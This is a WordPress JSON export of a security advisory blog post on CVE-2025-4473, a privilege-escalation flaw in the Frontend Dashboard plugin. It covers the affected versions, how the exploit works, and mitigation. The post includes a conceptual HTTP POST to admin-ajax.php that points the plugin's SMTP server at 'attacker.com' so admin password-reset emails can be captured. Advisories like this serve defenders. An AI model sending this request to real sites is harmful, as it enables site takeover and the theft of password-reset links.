{"id":41051,"date":"2025-05-20T12:46:25","date_gmt":"2025-05-20T12:46:25","guid":{"rendered":""},"modified":"2025-07-05T11:24:57","modified_gmt":"2025-07-05T17:24:57","slug":"cve-2025-4473-privilege-escalation-vulnerability-in-frontend-dashboard-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4473-privilege-escalation-vulnerability-in-frontend-dashboard-wordpress-plugin\/","title":{"rendered":"CVE-2025-4473: Privilege Escalation Vulnerability in Frontend Dashboard WordPress Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity realm is constantly evolving with newer threats and vulnerabilities emerging every day. One such vulnerability, identified as CVE-2025-4473, affects the Frontend Dashboard plugin for WordPress. This plugin is widely used for managing the frontend view of WordPress websites, and the vulnerability can potentially<\/a> affect a massive number of websites worldwide.
\nThe vulnerability stems from a missing capability check in the ajax_request() function, which can lead to Privilege Escalation<\/a>. This allows attackers with minimal Subscriber-level access<\/a> to manipulate where the plugin sends outgoing emails, potentially leading to a full site takeover. Given WordPress’s popularity and broad usage, this vulnerability poses a significant risk to many online businesses<\/a> and blogs.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-4473
\nSeverity: High (8.8 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low (Subscriber-level access)
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Frontend Dashboard WordPress Plugin<\/a> | 1.0 to 2.2.7<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by targeting the Frontend Dashboard plugin’s<\/a> ajax_request() function. This function doesn’t have a proper capability check, allowing even Subscriber-level users<\/a> to modify SMTP settings. An attacker can thus manipulate these settings<\/a> to redirect outgoing emails to their server. If these emails contain password reset links for administrators, the attacker can access them, reset the admin passwords, and gain full control of the site<\/a>.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

This is a conceptual example of how an attacker might exploit<\/a> the vulnerability. This could be done through a malicious AJAX request, like the one shown below:<\/p>\n

POST \/wp-admin\/admin-ajax.php HTTP\/1.1\nHost: targetsite.com\nContent-Type: application\/x-www-form-urlencoded\naction=fd_ajax_request&fd_smtp_server=attacker.com<\/code><\/pre>\n
In this example, `fd_ajax_request` is the AJAX action tied to the vulnerable<\/a> function, and `fd_smtp_server` is the setting that the attacker is trying to manipulate. The attacker sets it to their own server (`attacker.com`) to capture outgoing emails.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Website administrators using the Frontend Dashboard plugin are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability<\/a>. Regularly reviewing user privileges<\/a> and ensuring that they align with the principle of least privilege can also help mitigate this and other similar risks.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity realm is constantly evolving with newer threats and vulnerabilities emerging every day. One such vulnerability, identified as CVE-2025-4473, affects the Frontend Dashboard plugin for WordPress. This plugin is widely used for managing the frontend view of WordPress websites, and the vulnerability can potentially affect a massive number of websites worldwide. The vulnerability […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-41051","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t